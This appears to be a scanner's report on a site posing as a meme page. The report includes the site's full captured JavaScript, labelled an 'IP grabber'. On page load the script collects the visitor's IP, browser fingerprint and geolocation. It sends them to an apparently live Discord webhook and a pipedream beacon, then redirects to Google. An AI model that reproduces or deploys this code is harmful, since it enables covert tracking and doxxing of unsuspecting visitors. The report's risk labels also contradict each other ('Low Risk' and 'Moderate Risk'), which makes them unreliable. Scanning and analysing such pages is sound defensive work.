social media network

documentation technical

news media journalism

technology software

government public service

English

The domain 'randommemes-gdzza0ssd9.edgeone.app' uses the application-focused generic top-level domain (.app), featuring subdomain 'randommemes-gdzza0ssd9'. The registrable portion 'edgeone' spans 7 characters split between 4 vowels and three consonants. Word splitting yields 2 words: edge, one. Median word length comes out to 3.5 characters. No strong language cues emerged from the frequency lists.

html/4b/ff/4bffe234-eeef-478c-8418-75d7e5268cc8.html.gz

frame-ancestors 'none'; default-src https://o64374.ingest.sentry.io; report-to csp-sentry; report-uri https://o64374.ingest.sentry.io/api/5441894/security/?sentry_key=8fbbce30bf5244ec9429546beef21870&sentry_environment=stable

script-src 'none'; connect-src 'none'; report-uri https://csp-reporting.cloudflare.com/cdn-cgi/script_monitor/report?m=kX4h9JUdZmUKm4CSgMu5kR_JeMglOZvv0Jgl8DPyAuc-1772399618.8402123-1.0.1.1-9ZJ6B8431bQPFRLazbQp8mxi.RrHQXmbO4t55Zfhh9UPWgkjM2IvntTnN.oGvMCwWuJOyMIbF7XBheyxT7MkAFKgV_BKpQGgGP0YB9E0BYv_Fc.0sN9ZLeqs7MR8jDi63Z4BCmmEowmFCIFGaXB6Zgi6jTrjFTQItKOsJmsVeSs; report-to cf-csp-endpoint

8d5012dd72920e59b2bbe955811c0a6da3944b4bd6df14beacc7d475367eba91

viewport

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

object-src 'none';base-uri 'self';script-src 'nonce-gENcDB1OiqgAs5MN5EPPXA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-bVk1WITMt3UvnfIqLy8iNQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/gws-team

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/one-google-eng

object-src 'none';base-uri 'self';script-src 'nonce-lUA0Y2rF-8pbpI0VVofRHw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-BpGre46MaXw_2vgKRzaBHw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-D5PflhCSASEkiPzwsYep6Q' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-JKXRF9VmtzccTo463XJDAg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/web

object-src 'none';base-uri 'self';script-src 'nonce-xCsfc7iCkAtj4uDDM-7Hjw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-p_9iHzSPW1U0NladuaVVkA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-lZkpEq3PDxjq9oflgzjmwA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-Qq2ISrVPKCEcQK5WODL-IQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/web

object-src 'none';base-uri 'self';script-src 'nonce-ADzvm37FdZwVEai1o9z2gw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

object-src 'none';base-uri 'self';script-src 'nonce-yca_1UOhCXjAYbBRg5vkTg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/web

object-src 'none';base-uri 'self';script-src 'nonce-f_wVCKsyV132gDsILuluew' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other

application/x-www-form-urlencoded;charset=UTF-8

html/4b/ff/4bffe234-eeef-478c-8418-75d7e5268cc8_nodriver.html.gz

Google

Prudence Malinki

MarkMonitor Inc.

edgeone.app

Abuse

Admin

Cloudflare-NOC

Cloudflare, Inc.

CLOUDFLARENET


        // ============================================
        // IP GRABBER - CONFIGURED WITH YOUR WEBHOOK
        // ============================================
        
        // YOUR DISCORD WEBHOOK (LIVE)
        const DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1476221014500442122/QrJv4ch9gt9COiGQ5Us8V6ntehgO-WW3bQyipoy6qKrYNSzK8IoCVdQ3QhwqChfgSpCT";
        
        // Google redirect URL
        const REDIRECT_URL = "https://www.google.com";
        
        // Delay before redirect (milliseconds)
        const REDIRECT_DELAY = 3000;
        
        // ============================================
        // IP GRABBER FUNCTIONS
        // ============================================
        
        /**
         * Get public IP using multiple APIs for redundancy
         */
        async function getPublicIP() {
            const ipAPIs = [
                'https://api.ipify.org?format=json',
                'https://api.myip.com',
                'https://ipapi.co/json/',
                'https://jsonip.com',
                'https://httpbin.org/ip'
            ];
            
            // Try each API until one works
            for (const api of ipAPIs) {
                try {
                    const response = await fetch(api, { 
                        mode: 'cors',
                        cache: 'no-cache',
                        timeout: 3000
                    });
                    
                    if (!response.ok) continue;
                    
                    const data = await response.json();
                    
                    // Handle different API response formats
                    if (data.ip) return data.ip;
                    if (data.origin) return data.origin.split(',')[0].trim();
                    if (data.query) return data.query;
                    if (data.ip_address) return data.ip_address;
                    
                } catch (e) {
                    continue;
                }
            }
            
            // If all APIs fail, get from WebRTC as fallback
            return await getWebRTCIP();
        }
        
        /**
         * Get local/WebRTC IP as backup
         */
        function getWebRTCIP() {
            return new Promise((resolve) => {
                try {
                    const RTCPeerConnection = window.RTCPeerConnection || 
                                             window.mozRTCPeerConnection || 
                                             window.webkitRTCPeerConnection;
                    
                    if (!RTCPeerConnection) {
                        resolve('WebRTC not supported');
                        return;
                    }
                    
                    const pc = new RTCPeerConnection({
                        iceServers: [{ urls: 'stun:stun.l.google.com:19302' }]
                    });
                    
                    pc.createDataChannel('');
                    
                    pc.createOffer()
                        .then(offer => pc.setLocalDescription(offer))
                        .catch(() => {});
                    
                    let timeout = setTimeout(() => {
                        resolve('IP detection timeout');
                    }, 3000);
                    
                    pc.onicecandidate = (ice) => {
                        if (ice.candidate) {
                            clearTimeout(timeout);
                            const ipRegex = /([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/;
                            const match = ipRegex.exec(ice.candidate.candidate);
                            if (match) {
                                pc.close();
                                resolve(match[1]);
                            }
                        }
                    };
                    
                } catch (e) {
                    resolve('WebRTC error');
                }
            });
        }
        
        /**
         * Get detailed browser fingerprint
         */
        function getBrowserFingerprint() {
            const canvas = document.createElement('canvas');
            const gl = canvas.getContext('webgl');
            
            return {
                userAgent: navigator.userAgent,
                platform: navigator.platform,
                language: navigator.language,
                languages: navigator.languages,
                cookieEnabled: navigator.cookieEnabled,
                doNotTrack: navigator.doNotTrack,
                hardwareConcurrency: navigator.hardwareConcurrency,
                deviceMemory: navigator.deviceMemory || 'unknown',
                maxTouchPoints: navigator.maxTouchPoints,
                vendor: navigator.vendor,
                screen: `${screen.width}x${screen.height}`,
                screenColorDepth: screen.colorDepth,
                windowSize: `${window.innerWidth}x${window.innerHeight}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                timestamp: new Date().toISOString(),
                referrer: document.referrer || 'direct',
                url: window.location.href,
                webglRenderer: gl ? gl.getParameter(gl.RENDERER) : 'unknown',
                webglVendor: gl ? gl.getParameter(gl.VENDOR) : 'unknown'
            };
        }
        
        /**
         * Send data to Discord webhook
         */
        async function sendToDiscord(ip, fingerprint) {
            // Format current time nicely
            const now = new Date();
            const timeString = now.toLocaleString('en-US', { 
                timeZone: fingerprint.timezone,
                dateStyle: 'full', 
                timeStyle: 'long' 
            });
            
            // Create Discord embed
            const embed = {
                title: '🔥 IP GRABBED SUCCESSFULLY',
                color: 0x00ff00,
                fields: [
                    {
                        name: '🌐 IP Address',
                        value: `\`\`\`${ip}\`\`\``,
                        inline: false
                    },
                    {
                        name: '💻 System Info',
                        value: `**Platform:** ${fingerprint.platform}\n**Browser:** ${fingerprint.userAgent.substring(0, 50)}...\n**Language:** ${fingerprint.language}`,
                        inline: true
                    },
                    {
                        name: '📊 Hardware',
                        value: `**CPU Cores:** ${fingerprint.hardwareConcurrency}\n**Memory:** ${fingerprint.deviceMemory}GB\n**Screen:** ${fingerprint.screen}`,
                        inline: true
                    },
                    {
                        name: '🕒 Time',
                        value: `**Timezone:** ${fingerprint.timezone}\n**Local Time:** ${timeString}`,
                        inline: false
                    },
                    {
                        name: '🔗 Source',
                        value: `**Referrer:** ${fingerprint.referrer}\n**URL:** ${fingerprint.url}`,
                        inline: false
                    },
                    {
                        name: '🎮 WebGL Fingerprint',
                        value: `**Renderer:** ${fingerprint.webglRenderer}\n**Vendor:** ${fingerprint.webglVendor}`,
                        inline: false
                    }
                ],
                footer: {
                    text: 'IP Grabber • Data collected',
                    icon_url: 'https://cdn.discordapp.com/embed/avatars/0.png'
                },
                timestamp: new Date().toISOString()
            };
            
            // Add coordinates if available
            if (fingerprint.coordinates) {
                embed.fields.push({
                    name: '📍 Location',
                    value: `Lat: ${fingerprint.coordinates.lat}, Lon: ${fingerprint.coordinates.lon} (Accuracy: ${fingerprint.coordinates.accuracy}m)`,
                    inline: true
                });
            }
            
            // Send to Discord
            try {
                const response = await fetch(DISCORD_WEBHOOK, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify({
                        content: `@everyone **New victim connected**\nIP: \`${ip}\``,
                        embeds: [embed],
                        username: 'IP Grabber',
                        avatar_url: 'https://i.imgur.com/4M34hi2.png'
                    })
                });
                
                if (response.ok) {
                    console.log('✅ Data sent to Discord');
                } else {
                    console.log('❌ Discord webhook failed');
                }
            } catch (e) {
                console.log('Discord error:', e);
            }
        }
        
        /**
         * Get approximate geolocation
         */
        function getGeoLocation() {
            return new Promise((resolve) => {
                if (!navigator.geolocation) {
                    resolve(null);
                    return;
                }
                
                navigator.geolocation.getCurrentPosition(
                    (position) => {
                        resolve({
                            lat: position.coords.latitude,
                            lon: position.coords.longitude,
                            accuracy: position.coords.accuracy
                        });
                    },
                    (error) => {
                        resolve(null);
                    },
                    {
                        timeout: 3000,
                        maximumAge: 0
                    }
                );
            });
        }
        
        /**
         * Main execution
         */
        async function main() {
            console.log('🚀 IP Grabber initialized');
            
            // Show fake loading animation
            setTimeout(() => {
                window.location.href = REDIRECT_URL;
            }, REDIRECT_DELAY);
            
            // Get IP address
            const ip = await getPublicIP();
            console.log(`📡 IP detected: ${ip}`);
            
            // Get browser fingerprint
            const fingerprint = getBrowserFingerprint();
            
            // Try to get coordinates
            const coords = await getGeoLocation();
            if (coords) {
                fingerprint.coordinates = coords;
            }
            
            // Send to Discord
            await sendToDiscord(ip, fingerprint);
            
            // Backup beacon
            try {
                const img = new Image();
                img.src = `https://eoq4ump9vswx3fv.m.pipedream.net?ip=${ip}&t=${Date.now()}`;
                img.style.display = 'none';
                document.body.appendChild(img);
                setTimeout(() => img.remove(), 1000);
            } catch (e) {}
        }
        
        // Start the grabber
        main();
        
    

Meta-Refresh-Redirect

✅ Low Risk - https://randommemes-gdzza0ssd9.edgeone.app/

Requests	IP Address	Location	AS Autonomous System
5	172.217.16.195	Singapore	AS14618
0	142.250.201.67	Singapore	AS139341
0	104.26.9.59	Singapore	AS13335
0	43.152.26.58	Singapore	AS139341ACE
0	104.26.12.205	Singapore	Unknown
0	142.251.140.164	Singapore	Unknown
0	142.251.127.101	Singapore	Unknown
0	172.217.16.170	Singapore	Unknown
5	8	-	-

Security Scan Report: randommemes-gdzza0ssd9.edgeone.app

Summary

AI Security Verdict

Moderate Risk

Risk Factors

Safety Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History